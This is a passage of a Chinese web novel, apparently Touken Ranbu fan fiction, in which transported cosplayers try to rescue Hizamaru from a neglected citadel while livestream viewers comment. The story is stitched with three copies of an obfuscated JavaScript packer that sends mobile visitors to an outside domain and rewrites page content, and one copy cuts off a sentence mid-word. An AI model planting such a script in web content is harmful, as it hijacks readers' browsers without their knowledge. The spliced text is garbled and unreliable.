l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036091|178687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 装得很不走心的极化髭切眨眨眼,惋惜地瞥了眼毫无动静树上,弟弟丸有这么难骗吗? “再不拿出真本事,可不行了啊!*”周身气势猛然一变,极化髭切不再留手,干脆将剩余的敌刀斩灭。 软的不行,就来硬的好了。 战斗结束的很快,膝丸coser错失了最佳逃跑时机,他只能期望下面的付丧神不要太留意他,同时悄悄地后撤。 “那边的,你要跑去哪里?” 下方的极化髭切歪歪头,透过树叶缝隙,太刀鎏金色的眼眸隐隐渗出黯淡的血色。 膝丸coser产生了种被恶兽锁定的紧张感,肩膀驻足的乌鸦不知何时飞走了,余光注意到其他付丧神已然将他包围。 六双颜色不一样的眼睛直盯盯地注视着他。 “下来,我的耐心有限。” 极化髭切右手落在腰间的本体刀上,对膝丸coser下了最后指令。照这个架势,如果青年顽固不灵,付丧神绝对会拔刀把他藏身的树给砍了的。 救救,救救孩子啊,膝丸coser咬紧双唇,无声尖叫。 * 这边的小乌coser也很绝望。他被迫承受髭切的各种试探、言语上的调侃,还有时不时的身体冒犯。 在那只手第无数次试图圈过他的腰,触碰到他的本体时,小乌coser猛然抓住髭切探来的手,恨不得一口咬断其手指。 “你未免太过急切了吧。” 小乌coser忍无可忍,抓住髭切的手指扣到其肉里,“冒冒失失,不像你的作风呢,髭切。” “遵循神谕,我来找回丢失的东西。” 髭切对自己的失态避而不谈,他感受不到疼痛般露出柔软的笑容来。 “这里没有什么是属于你的。”小乌coser起身,居高临下地看着盘腿而坐的付丧神。 “也许就在眼前。”髭切仰首与他对视,那双茶金色的眼睛在光线暗淡的洞穴里,如同猫咪般亮着光。 “那你还真是瞎了眼。” 话落,小乌coser迈出洞穴,不再理会身后之刃。 他隐约感到丝不安,卷在手腕的小青蛇也焦躁地拍打尾巴尖。经过昨夜,小乌coser基本确定这条小蛇与膝丸coser所绑定。 现在这么闹腾,排除发情,大概是遇到危险了,明明都提醒过他了啊。 小乌coser点点小蛇的头,手指将长长的一条小蛇拉开,又被它期期艾艾地缠上指尖,填满指缝。 9. 第 9 章 直播球紧紧追在少年身后,好在小乌coser虽急切,还是顾及了机动差他半截的髭切,让它能量不至于全部消耗在追刃上。 [这是怎么了?小乌脸色好难看。] [突然跑到这里,这里好像刚刚经历过战斗。] [等等,不会是来找膝丸的吧?] [我去,我都为看直播而早起三小时了,这时候安排出阵的审神者是什么品种的人类啊?] [就是不睡熬通宵呗。] “不见了。” 小乌coser环视过狼藉的战场,遗留的血液渗进土壤,干涸殆尽。 他蹲下来查看地上的脚印,根据以往看的侦探小说所学到的浅显知识,他分辨出这支部队的组成:一把短刀、一振胁差与打刀、一振太刀。 那振太刀是髭切吧? 小乌coser仰头望向旁边的树,很干净,没有打斗痕迹。 ——所以才毫无反抗地跟他们走了。 髭切迟迟赶到,他跑着都没追上走得飞快的小乌coser,要不是灵力感应,他能把刃跟丢。 “发生什么了?”髭切明知故问。 “你弟弟失踪了。”小乌coser言简意赅,“被一支出阵部队带走的,我们要把他找回来。” “没有那个必要。” 髭切拍拍肩上的落灰,“如果弟弟丸不乐意,没人会强迫他。” 除了小蛇的躁动,小乌coser未感受到膝丸coser身上灵力的异样,髭切说的是事实。 曾被小乌coser刻意摒弃的念头再次浮上心头,也许膝丸coser一早就打算与他分道扬镳。 膝丸coser对他若有若无的疏离,面对髭切时天然的亲近……如果是这样,他该尊重对方的想法,不去插手才对。 那他该何去何从,为什么非得留下他一个。他甚至还在帮膝丸coser弥补背景,既然早就决定分离,那为什么不提前告诉他。 他并不重要是吗? 小乌coser有瞬间的惶然,心如悬旌。 “弟弟丸已经找到心仪的本丸,小鸟要不要也跟我回去?” 髭切见状,接着抛出诱饵,“我来时,部屋里就已备至好鸟丸的用品。如果你想的话,再随便找振弟弟丸一起带回去好了。” “不,不一样。”小乌coser立即反驳。 付丧神言语亲昵,弯起的眉眼中含着宠溺,绵软的嗓音毫无攻击性,“都是‘膝丸’不是吗?不管小鸟想要什么,兄长都会尽力满足的哦。” 髭切身上忽然散发出莫大的安全感。由衷的,小乌coser产生靠近他、依赖他的冲动。 [好恐怖,哥哥切!] [又是在诱拐弟弟的一天呢。] [但是好温柔,婶已沉浸在哥切的温柔陷阱。] [路遇坏男刃拼尽全力无法抵抗。] [啊啊啊,弟弟生来就是被哥哥折腾的,哥哥生来就是要满足弟弟愿望的!] [源氏兄弟是让你学会了。] 大脑愈发混乱,现世的一切都仿佛远离他而去,迷蒙蒙的白雾笼罩了五感。 可他不想就此被安排完一生。 腕部传来被尖利之物刺穿的痛感,小乌coser抬手,见小蛇尖牙刺入皮肤,手腕都被蛇身勒得青紫。 虽然知道小蛇是在提醒他,但还是很疼,疼死了!有必要咬这么实在吗? 小乌coser回过神,发现自己被髭切言语诱导了,真是蠢得可以。 先是他的疏忽,以为时政放一振髭切来调查他们,便不会再出现其他有关的付丧神,间接导致膝丸coser陷入危险。 膝丸coser受角色影响最大,况且,作为未认主的刀剑付丧神,失去小乌coser灵力支撑退回本体后,便只能任人宰割。 膝丸coser正等着他的营救,他还在这里纠结什么在不在乎,丢死人了。 小乌coser抹了把脸,冷静反驳,“不管他自愿与否,找回膝丸是我的私心。” 髭切两指抵在下巴处,事不关己,“哎呀,那小鸟想要怎么办呢?” 他不担心弟弟丸的状况,虽然根据战场的灵力残留,那振分灵确实存在问题,但既然自信地把一振膝丸带回本丸,就证明其有保护好弟弟的能力。 不然,那也太失格了。 身为本灵,他自然能够时刻感应到分灵所在本丸的位置,日后出现问题再去解决也不迟。 髭切将少年思考的表情纳入眼底,他只想看看少年接下来的反应。在孤立无援的情况下,小鸟会做出什么呢? 独自硬闯,还是有自知之明地妥协,亦或是不情不愿地向兄长寻求帮助? 仿佛无论小乌coser选择什么,主动权都牢牢掌握在髭切手中。 在髭切的俯视下,少年微微蹙眉,鸦羽般的睫毛轻轻颤动,偏淡色的唇抿起血色,嘴角的小痣勾引视线。 小乌coser自有打算,他一个人上去绝对是给那振〔髭切〕送菜。最起码他不能落单,不能暴露身份,同时还要有质问的资格。 他最好成为“髭切”,以兄长的身份去找回膝丸coser。 你以为他寄人篱下的几年是怎么过来的?勾起他人的恻隐之心,稍微服软就能达到目的,有何不可? 少年斜斜望过去,那张与髭切形似而神不似的脸上,适时展现出一种盈盈的脆弱,宛若鬼魅。 “我现在只有你了。” 小乌coser眼角沾染湿意,唇角却悄然翘起,露出抹凄楚的笑,“帮帮我吧,哥哥。” 髭切瞳孔缓缓收缩,出奇的没有再维持表面的笑脸。牙齿泛出痒意,他难耐地想咬些什么。 好棒,出乎意料,真想夸奖他。 髭切张开嘴,想起这是在现场直播,又紧紧闭上,奶金色头发的付丧神克制住捕猎的本能反应。 “……啊,小鸟想怎么做呢?” 半晌,髭切缓慢地吐出相同的话语,小乌coser知道性质已经不同了。 [好美,不是好俏,好俊啊……] [刚才还骂人家眼瞎,现在派上用场了就开始喊哥哥。] [刚才和现在能一样吗?] [“我现在只有你了,哥哥。”谁懂,这句话对弟控将是怎样的冲击。] [给你给你,都给你,婶婶把心都挖给你!] [啊啊啊美色误人!] [奉劝哥切别不识好歹,还不快乖乖听话!乖乖听话!!] [我家哥切突然噤声了是怎么回事呢?] [是啊,好难猜啊,邪恶黑芝麻汤圆突然安静。] 【秋瑾下意识摸摸嘴角,害怕自己当众流下口水。 她刚清清嗓子,想解释自己的失态,就见身边的髭切徒手掰住电脑屏幕,透明的屏幕不堪重负,咔嚓的脆响后出现了蜘蛛网般的裂缝。 “啊!我刚换的屏,膝丸快管管你哥!” 秋瑾一扭头,发现膝丸也是副痴呆的表情,付丧神耳垂染上抹可疑的红晕。 欧豆豆说只有他了,说只有哥哥了! 秋瑾:说得是你吗就脸红。 那父上呢!秋瑾将期望的目光转向小乌丸。 “善于识人心,纠其弱点,化被动为主动。子代真的颇具领袖风范啊。”小乌丸深感欣慰。 现在是夸人的时候吗?电脑要是坏了你们谁都看不了! 秋瑾最后只能期盼今天的近侍能勇敢站出来,制止哥切的拆机行为。 “山姥切?” 角落的蘑菇动了下,幽幽地吐出一句,“你在对仿品抱有期待吗?” 无刃可用,这很绝望了。 一个审神者决定去死。】 极化〔髭切〕的状态很差,这是膝丸coser的第一印象。 他顺从地站到〔髭切〕身旁,与不久前接触的那振髭切不同,极化〔髭切〕的注视更加直白,习惯性弯起的眼睛里毫无笑意,甚至夹杂着锐气。 闻起来像把封喉的刀。 “人齐了,我们返城吧。” 〔髭切〕没有过多地关注膝丸coser,态度称得上冷淡。 “阿尼甲。”膝丸coser低低唤了声,并没有得到回复。 小夜左文字启动时间转换器,眼前的景象瞬间变幻,郁郁葱葱的树丛退去,一排排整齐的鸟居出现在视野。 坐落于本丸中心位置,最为高大的建筑便是传说中的天守阁。 本丸里灵力异常稀薄,膝丸coser接触到空气,顿时感到胸闷压迫,有些喘不上气,类似高原反应。 时间迁移的眩晕尚盘踞大脑,膝丸coser站立不稳向后仰倒,后背抵上一只手,支撑住他的身体。 “呀,身体不好吗?” 待膝丸coser的不适稍微缓解,〔髭切〕转而握住牵住青年的手,领着膝丸coser径直朝源氏部屋而去。 “不先去天守阁吗?” 〔髭切〕讶异地瞧了眼膝丸coser,“弟弟很想见审神者吗?” 捡到新刀先带去给审神者过目,不是默认的规矩吗?只有经由审神者认可的刀剑才算真正成为本丸的付丧神。 “审神者不常在本丸,有什么事情和我说就好。”〔髭切〕做出解释。 “那受伤呢?不去手入室吗?”膝丸coser想到〔髭切〕身上的伤,起码是中伤的程度。 “审神者外出期间,手入室都会处于关闭状态。” 膝丸coser扭头,和泉守兼定背起重伤的堀川国广,少年体型的胁差已经陷入昏迷。 “那他们……” “不知道,弟弟丸好啰嗦。”〔髭切〕出口埋怨。 是你太冷漠吧?有刀重伤了啊! 膝丸coser汗颜,但〔髭切〕明显表现出不耐烦,他只能停止追问。被〔髭切〕牵进源氏部屋里。 * “要剪掉吗?” “嗯,把刀借我。” 小乌coser理所当然地开口,髭切拔出腰侧的本体,旋转刀身将刀柄冲向少年。 这几天看膝丸coser战斗,他学会了很多,包括劈砍切等攻击技巧。与膝丸coser不同,小乌coser没有角色相关的记忆和战斗技巧,在这之前,他甚至连握刀都不会。 可惜,还没见过髭切战斗。 接过髭切本体,太刀沉甸甸颇有些坠手。小乌coser手腕转动,耍出漂亮的刀花,虽然没有实战过,但他仍然很自信。 对陌生的技能,小乌coser能做到快速上手,包括模仿身边熟悉人的习惯、性格和处事方式,在必要的时刻搬出来应对难题。 他怀疑自己根本就没有变化,除了多了把不知情况的本体,甚至小乌coser将脸上的彩妆卸掉,他原本的相貌,要更加贴合髭切的脸。 要知道会穿越他就直接cos髭切了,还能省下笔妆造钱,免了他为服饰东凑西凑,就连发绳上的流苏都是从三日月假毛揪下来的。 刀刃锋锐无比,轻而易举地削掉多余的长发,小乌coser甩甩头,刃面清晰地映出他如今的样貌。 短发的少年愈发清俊和稚嫩,也更加接近髭切。 小乌coser新奇地掂了掂手里的太刀,这把刀感觉很适合做武器。 [哦~这熟悉的,遇到喜爱事物的眼神。] [小乌很喜欢哥哥切,的本体呢。] [楼上同事很会断句啊。] [毕竟是乌鸦,爱收集漂亮的东西很正常吧。] [漂亮的哥切,肯定。] [短发小乌变帅好多,突然从雌雄莫辨美人变成少年感邻家弟弟?] [嗯,变成了赈早见琥珀主。] [楼上,很形象的妹妹头。] “变得更可爱了呢,小鸟。” 髭切抬手揉揉小乌coser新出炉的妹妹头,将其顺滑的黑发搓得凌乱。 小乌coser不是很喜欢“可爱”这个词,但不妨碍他回敬道:“谢谢,你也可爱。” 他记下了那支部队的灵力气味,时刻感应附近任何灵力波动。小乌coser望向在枝头蹦跳的幼鸦,虽然他现在还无法全然控制半身,但仅仅用来监视也足够了。 哪怕挖地三尺也会将人找回来。 a-43本丸,由于审神者长期浸润于个人研究,疏于事务管理,导致本丸资源长期短缺,处处捉襟见肘。 出阵远征事宜,皆由付丧神自行安排,现今本丸权力在源氏、粟田口和三条之间转换,尚且未爆发激烈的冲突。 宗三哥修复的资源还差一些,江雪哥的伤也不宜出阵,于是本该远征的小夜主动要求交换工作。最起码远征不会有生命危险。 小夜左文字不敢去细想,甚至不清楚复仇的目标,而那股汹涌着的情感却在心胸激荡,久久不散。 想要发生改变,纵使被仇恨操控,也不愿停滞于此。 小巧的体型穿梭在敌军缝隙,小夜刺透敌刀心脏,后撤避开偷袭的苦无。 他右脚蹬地猛冲,将极化后的机动发挥到极致,刀刃划出莹蓝的残影,偷袭的苦无瞬间断作两半。 小夜左文字收刀入鞘,他刚松了口气,耳朵便捕捉到渐进的脚步声。 有人在接近他们。 小夜左文字望向部队的统领,三日月宗近示意全体警戒,做好再战准备。 半晌,一道身影缓缓踱步而出。 妹妹头的付丧神站定,露出柔软的笑容,嗓音也甜腻如棉花糖。 “呀,源氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036092|178687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的重宝,髭切。请问你们见过我的弟弟吗?” [假扮髭切潜入本丸,真是难为小乌了。] [刚进直播,你不说我还以为是哪个哥切被削短暗堕了呢,还疑惑怎么不播小乌他们了。] [站姿、神情、声音,连小动作都一模一样。] [我终于理解膝丸了,换我也认不清。] 小乌coser打量一圈,将目光落到在场唯一的短刀,小夜左文字身上。按照脚印计算身高,小夜应该就是那天部队里的短刀。 “膝丸殿吗?我们没有见过他。” 三日月宗近上前将小短刀挡在身后,微笑着否认。 小夜从太刀身后探头,悄悄观察面前少年体型的付丧神。 一身不合身的白色出阵服,腰侧佩戴的两振太刀,一振是髭切,而另一振从未见过。 极具反差的黑发黑眸,眼底还泛出血色,很明显的暗堕标志,这振髭切周身灵力冷肃,气势锋芒毕露。 可他没有从面前的付丧神身上嗅到杀意,明明看上去像暗堕刀,却比他们本丸里的〔髭切〕殿要温和得多。 面前的髭切殿,又经历了什么呢? “哦?前天他在这附近失踪,那时候的出阵部队只有你们本丸吧?”小乌coser寸步不让。 “哈哈哈,老爷爷不太清楚,昨日带领部队出阵的是我们本丸的〔髭切〕殿。” 见瞒不过去,三日月宗近也不再敷衍,将事情推脱给〔髭切〕。自作主张带回其他的刀剑,也要有自食恶果的准备。 “擅自拐走别人的弟弟,真是不礼貌。哪怕是同振,也无法原谅。” 少年眯起眼,语气暗含危险,“让〔髭切〕出来,或者我亲自去找他。” 小乌coser右手握住髭切本体,他看向三日月宗近腰间挂着的时空转换器,意思不言而喻。 商量不成,他就要明抢了。 “稍安勿躁,我能理解髭切殿的急切。”三日月宗近开始糊弄。 理解个刀鞘,被抢兄弟的又不是你。 “只是我等无法做出决定,待请示审神者后再给予髭切殿回复,这样可好?” 当然,审神者早就不知踪迹,他要询问的是本丸的〔髭切〕,谁惹得麻烦谁来填平,免得波及他人。 小乌coser耐着性子点头,他指尖无意识抠弄髭切本体的刀镡,刀柄兀自他在掌心震动了下,小乌coser尴尬地收回手。 “稍等片刻,第一次使用……是这样吗?” 这边,三日月宗近生疏地摆弄传讯装置,捣鼓半天还没开机,部队里的付丧神冷眼旁观,只有小夜好心帮助老刃家发了讯息。 直播间的大家毫不留情地嘲笑出声—— [生活白痴三日明。] [这个冷冰冰的本丸只有小短刀能带来一点温暖。] [请关爱百岁老刃。] [感觉部队里的大家都好冷漠。] [就是很不对劲啊,明明时政都发公告禁止主动拐刀了,却还一次次出现意外。] [只有髭切找上来就算了,这次直接把弟弟丸都拐走了。] [故意和时政对着干吗?] 【真狩柊正在准备时政会议所需的资料。 自那天后他便时刻关注直播内容,对于那振膝丸的失踪,时政正在对各本丸逐一排查。 真狩柊对结果不抱期待,这种不把时政放在眼里的行为只会是那群旧党做出来的。 无视警告,擅离职守,私下里搞些小动作。时政对他们的忍耐也快到限度了吧? 真狩柊挂断通讯,亲友的鬼哭狼嚎犹在耳边。 “小乌快来吧!父上哄不了我,鹤丸老哭!哥切已经遛过了,弟丸在写文书。” 秋瑾她疯了吧?好乱的人物关系。 青年审神者揉揉眉头,一杯温茶适时递过来。 “啊,谢谢。”真狩柊下意识道谢,他抬头对上双笑眯眯的金眸。 一身极化服装雍容华贵的髭切歪歪头,“家主,时政的会议,我真的不能一起吗?” “不能。” “真的不行?弟弟丸也不行吗?” 真狩柊无语,“这是时政的规定,源氏与平氏禁止。还有,膝丸不要躲了,屏风太小挡不住你。” 被戳破的薄绿色太刀沉默地走出来,站到髭切身边。 “小乌会没事的,我们都在尽力为他争取权益。” 看着面前的付丧神,真狩柊只能再次重复自己的保证,“请放心,绝不会辜负你们的。” 髭切沉默片刻,他拍拍膝丸的肩膀,终于不再坚持。 “呀,一味地让家主费心不是源氏的风范,身为您的重宝,我们相信着您。” 膝丸同样致歉,“让家主深受困扰,是部下的失职。” “那么,静候佳音。” 他们会在本丸等候真狩柊的消息,不论如何,哪怕是凭借武力,髭切也想得到小乌。】 意料之中,小乌coser得到了进入本丸的许可,按照三日月宗近所说,是〔髭切〕的邀请。 按道理来说,那振髭切都半强迫带走膝丸coser了,对于青年的独占欲不可谓没有,而现在却如此干脆地答应以膝丸coser兄长身份的他进入本丸,所以果然是膝丸coser出现了什么意外吗。 髭切解决不掉,便等到小乌coser自行找上门来。 “那么,请吧,髭切殿。”三日月宗近闪身,让小乌coser站到部队中央。 小乌coser握紧髭切本体,在一众付丧神的注视下维持泰然自若的姿态,并时刻警惕。 录像中直播球发现要转移场地,匆忙地冲过来,不慎撞到少年身上。小乌coser快速将其捞进袖管。 离少年最近小夜眸光微动,默不作声替其挡住袖口的异动。 这位髭切殿给他的感觉,并不讨厌。 与此同时,直播间陷入长久的寂静,弹幕出现罕见的空窗期。 [这绝对被发现了吧?] [与其说现在,其实我们老早就暴露了。] [偷窥被正主发现,正主还帮忙掩饰。总结,小乌好,直播球坏。] [所以只有审神者自作多情地沉浸在偷窥的刺激感中吗?] [不是的同事,只有你感到刺激。] [请不要将我们与变态沦为一谈。] [我真的要发疯了。] 视野恍惚一阵,小乌coser合眼,再次睁开时,眼前的景象已经天翻地覆,流浪几天的他,终于再次见到了房屋。 来不及怀念感慨,小乌coser就被空气呛住,好像谁死这儿了。 灵力的气味如此难评,这个本丸他正常吗?看来膝丸coser的处境更加艰巨了。 10. 第 10 章 “〔髭切〕殿,虽说夏日滋生烦躁,但心静才更利于健康。” 一期一振摸摸秋田藤四郎的头,将自家弟弟护在身后。粉色头发的短刀紧挨着只成年巨虎。 如果发生在平常本丸里,顶多会打扰到源氏的阁下们,而在年岁和阅历都更为广泛的重宝眼里也算不上唐突,甚至还会用糖果或点心安抚孩子的心。 但在a-43本丸,未经同意下,赫然闯入其他部屋会被视作袭击,如若被误杀也无需赔付。 给一期尼添麻烦了。 秋田藤四郎吸吸鼻子,内疚地低下头盯着地面的鞋子。身边的白虎察觉到短刀的情绪,大脑袋拱拱秋田的头。 奶金色头发的付丧神眯起眼,金色的眼睛扫过前面两刃,“说了多少遍,不要随便闯进别人家里。” 〔髭切〕听见里屋的响动,不满道:“弟弟丸都被吵醒了。” “〔髭切〕殿和膝丸殿的感情很融洽,真不愧是兄弟。”水蓝色的太刀松弛有度,言语温和。 本丸里的付丧神都知道那振膝丸是〔髭切〕强行带回来的,这句话更像是在讽刺。 〔髭切〕仿佛并不放在心上,目光却透过一期一振身影,落到后面的短刀和白虎上。秋田藤四郎紧紧依偎着水蓝色的付丧神,五虎退的伴生白虎也对一期一振充满依赖。 粟田口向来团结,一致对外,此时的〔髭切〕更像是拆散他们的敌人。 ……血脉相连的,家人吗? “嗯,毕竟是兄弟嘛。” 〔髭切〕无心争执,起身回屋,他尚未痊愈,结痂的伤口泛起痒意,像是来自骨髓深处,使他想既撕碎又忍不住悉心去呵护。 兄弟,就是这样的感觉吧。 膝丸的情况不容乐观,身为付丧神,即使没有灵力支撑,也只会退回本体。可自到达本丸后,这振膝丸表现出了强烈的排斥反应。 〔髭切〕将膝丸coser本体放置于桌案,太刀发出轻的脆响,细小的裂纹自刀柄向尖端蔓延。 他尝试过用灵力符为其补充能量,但当灵力输入膝丸本体那刻,裂纹毫无预兆地变大,蛛网般蔓延至全刀刃。〔髭切〕迅速将灵力符撤下,刀刃停止开裂,但无法复原。 〔髭切〕甚至不敢再触碰它,害怕再次给岌岌可危的太刀造成损伤。 弟弟仿佛在发自内心地厌恶他、排斥着他。是在怪兄长的自作主张使你陷入危险了吗? “阿尼甲,为什么哭呢?” 〔髭切〕抬头,才发现眼角不知何时落下来一滴泪,又偏偏打在膝丸本体上。 苏醒过来的膝丸coser看见这幅景象,他愣了下,心却揪了起来。到底有多痛,才会让曾斩断妖物尘缘,亲睹源氏兴荣衰落的御物都忍不住垂泪。 “哎呀,被昏睡丸看到丑态了呢。” “才不是丑态,伤心就说出来,我也想让阿尼甲尽情地向我诉苦。” 膝丸coser喘了口气,他拼命抵抗身体深处传来的疲惫,明明刚睡醒,困意却又潮水般席卷而来。 空气里的灵力他无法吸收,甚至感到恶心,对应到生理方面,大概就是平原人突然来到珠穆朗玛峰,死因是持续缺氧。 受够了,他无比怀念有小乌coser在身边的日子,虽然吃不饱,起码单主不会克扣灵力。 青年在心里不停碎碎念,头顶突然传来柔软的触感,膝丸coser回神,发现髭切不知何时凑了过来。 极化〔髭切〕与前几天遇到的那振髭切不同,周身隐隐散发着不详的气息,性格也更为冷淡和暴烈。 比如说现在,奶金色的付丧神轻柔地摸摸膝丸coser的头,眼中含有触动,手下却一个用力将人按进被褥中。 一碰到被子,窥伺的睡意瞬间将青年裹挟,膝丸coser昏睡前最后看到的是付丧神温和的笑靥。 “我知道了,煽情丸先好好休息吧。” 红豆饭般滋滋甜的嗓音模糊传入耳,青年彻底沉入睡梦。 望着面前薄绿色太刀的睡颜,〔髭切〕笑容淡去,有些不悦。 刚刚看着他,脑子里想的却是别人呢,弟弟丸。 * 这里的灵力给小乌coser的感觉很糟糕,正常的审神者的灵力不都该是正向的吗。住在充满发霉的灵力的本丸里,哪怕是意志更加坚定的刀剑付丧神也迟早会发疯的。 不如先试探下他们对审神者的态度,万一真的遇到渣审他就提前和膝丸coser筹备跑路计划。 “把我带进来,不先去禀告一下你们的审神者吗?”小乌coser不动声色地询问。 “忘记告诉您,主公大人如今不在本丸,如有什么需求,跟我们说就好了。” 三日月宗近感受着体内微弱的灵力波动,这证明审神者仍存活人世。他也想知道审神者的踪迹,毕竟就算死也要有个交代不是吗? 小乌coser挑眉,不在吗,可疑点增加了。不论是付丧神隐瞒审神者的踪迹,还是其当真有事外出,本丸的主权都不该落到付丧神手里,何况是允许一振疑似暗堕倾向的“髭切”随意进入本丸。 不过审神者暂时缺席对小乌coser相当有利,正好免得被发现自身的蹊跷。 想清楚后,少年不再绕弯子,他需要尽快知道膝丸coser的情况,“那么,麻烦领路往源氏部屋。” “哎呀,您这是要直接去找〔髭切〕殿?”三日月宗近状似无意地提醒道:“到底是狮子,领地意识还是很旺盛的。” “老爷爷我多少有些疲累,就让小夜带您去源氏部屋吧。” 尚未离去的小夜左文字惊讶仰头,对上三日月含笑的眸子,“髭切殿,就拜托你了,能做到的吧。” 小夜左文字无声答应。 在三日月和小夜沟通时,直播球被小乌coser放出来,拥有极高隐蔽能力的它很快就消失无踪。 直播里重新显现出景象,审神者和付丧神透过屏幕观察。 [这个本丸看起来有点荒芜啊。] [田地虽然有在种,但作物死的死,灵力不足体现在土壤肥力差,天气也阴沉沉的。] [不对劲,非常不对劲。万叶樱也半死不活,到处玩耍的小短刀也没见到一个。] [听说审神者不在,玩忽职守吗?] 告别三日月宗近后,一大一小两刃在房屋间穿行。 双方沉默着,一路上竟然没见到其他的刀剑付丧神,静悄悄的,每间屋子都紧闭着房门。小乌coser有些疑惑,平常的本丸都是如此安静的吗?花丸里明明挺热闹的啊。 “请,小心。” 沙哑稚嫩的童音响起,小乌coser讶异低头,只看到短刀毛茸茸炸毛的头顶,他察觉到直播球在录像,便不再言语。 为什么小夜左文字要提醒他,又要小心谁呢,仅仅只是髭切吗? 小夜微微握拳,他最多只能做到这种程度,其他的已经超出他所能及范围了。 一路无话,前方便是源氏部屋所处的庭院,再往前走就不合时宜了。 小夜止步,向身旁的黑发付丧神点头,随后转身快速离去。待短刀身形不见,小乌coser才迈步朝庭院行去。 明明只有一个付丧神住,却预留出足以容纳粟田口全部刀剑的空间,这算资源浪费吗? 小乌coser一路敲门过去,不礼貌但十分有效,他很快就吸引了屋主的注意。 “哟,是同振吗?” 背后突然传来毛骨悚然的寒意,骤增的压力朝面门袭来,又在离他几寸出被暗暗消解掉。小乌coser拇指摩挲髭切刀柄,刚才正是髭切帮他抵抗了威压。 如今少年周身只围绕着浅薄的髭切的灵力气息,属于小乌coser自己的那份已经被完全封藏在他的本体内。 〔髭切〕观察着他,金色眼睛扫过黑发付丧神腰间的佩刀,目光在那振漆黑无刀纹的太刀上顿住。 付丧神眸光闪过丝惊诧,哎呀,那是…… “当然,如果阁下没有眼疾的话。”小乌coser侧身挡住〔髭切〕对他本体的窥视。 奶金色的太刀对小乌coser的暗讽置若罔闻,露出软乎乎的笑容,衬得原本黯淡的天空都重新焕发光彩。 “要进来坐坐吗?” 原先逼迫着的压力似乎从未有过,出乎意料,〔髭切〕并不抗拒,甚至欢迎小乌coser踏进他的所属地。 可小乌coser不觉得是件好事,这意味着〔髭切〕完全没有将他视为独立的主体,而作为“有机会就能得手”的客体来看待。 狮子会自行捕捉心仪的猎物。 “弟弟丸也很期待兄长的到来吧?” 〔髭切〕扭头冲屋内喊道,声音放得极轻,像是怕被人听到一样。 对此刃阴奉阳违的手段,小乌coser笑得和蔼可亲,明知故问道:“擅自抢走别人的弟弟,怎么,这座本丸里没有出现绿丸吗?” “弟弟丸确实不愿意来呢。” 〔髭切〕没有否认,同振一语正中他要害,付丧神惊奇地上下打量黑发少年,“自身都难保,粗心大意丢掉弟弟的人,也可以这么自信吗?” “胡搅蛮缠带走迷路丸不说,还跟我无理取闹。身为兄长,同振真是令我惊叹。” 无比自信的小乌coser嗓音悦耳,他面上云淡风轻,暗地里气得一个劲儿抠髭切刀镡,“真不要脸啊,你。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036093|178687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不讲理还不要脸的〔髭切〕轻笑,回敬道:“彼此,同振不必谦虚。” 小乌coser腰间的髭切不易察觉颤动了下,像是忍不住笑般,发出微小的动静。 直播间里的弹幕都要笑抽了,围观的人数不断上升,最终停留在一个可怕的数字。 [不知道弟丸怎么样,反正我快笑死了。] [沉睡的弟弟,上集。] [小乌:你无理取闹。极化哥切:你自身难保。] [兄弟俩都挺伶牙俐齿,怎么生出个笨嘴拙舌的弟丸。] [弟弟丸你快来吧,一会两刃都要互扯头花了。] [小乌不语,只是一味地把气撒到另一个哥切上。] 【新进来的鹤丸国永已经笑瘫成一片鹤饼,他一刃挡在门口,前来汇报工作的长谷部没留神,差点被绊倒滚去秋瑾面前。 “你这家伙,给我坐好啊。”长谷部把挡道的鹤拉扯起来。 鹤丸国永被揪着领子拖行,他抹抹眼角的泪水,眸中喜忧参半,“大惊吓啊,小乌。” 膝丸对弹幕的评价感到不服,什么笨嘴拙舌,这是能来被形容刃的吗? “兄弟就是兄弟,对吧,阿尼甲。” 髭切认同,“撒,我不会嫌弃嘴笨丸的。” “是膝丸,不是这个意思啊!阿尼甲!”膝丸声嘶力竭。 “嗨嗨,吼丸。” “那是我曾经的名字啊,那现在的呢!” 髭切轻飘飘地笑,他直觉屏幕里的极化同振,很不对劲。虽然没有任何表现证明,但身为斩鬼刀,他还是嗅到那丝隐约异常。 那个“我”,大概也感受到了吧,这个本丸,藏着秘密。】 膝丸coser刚恢复意识,就听见这炸裂的对话。 青年艰难地从被褥里爬出来,还没等〔髭切〕前去搀扶,就见一道白影嗖地掠过,黑发付丧神已然站到膝丸coser面前。 〔髭切〕眸光微暗,不正常的机动? 膝丸coser与面前的妹妹头对视,脑子尚混沌的他有种不知今夕何夕的懵逼感。 “他有对你做什么吗?别怕,告诉兄长。” 小乌coser担忧地用手背贴贴青年的额头,也没发烧啊,怎么看起来呆呆傻傻的。 不是,这谁啊?我认识他吗? 膝丸coser后仰躲开少年的触碰,迟疑地开口,“请问你是?” “嗯?我是?”小乌coser微笑一滞。 顶着黑发付丧神变得危险的目光,膝丸coser只能硬着头皮,“阿尼甲,你怎么到这儿来了?” “……咦?” 黑发付丧神愣了下,仿佛才反应过来般,不好意思地点点嘴唇,“弟弟丸可以再重复一遍吗?” “怎么到这里来的?”膝丸coser听话地复述。 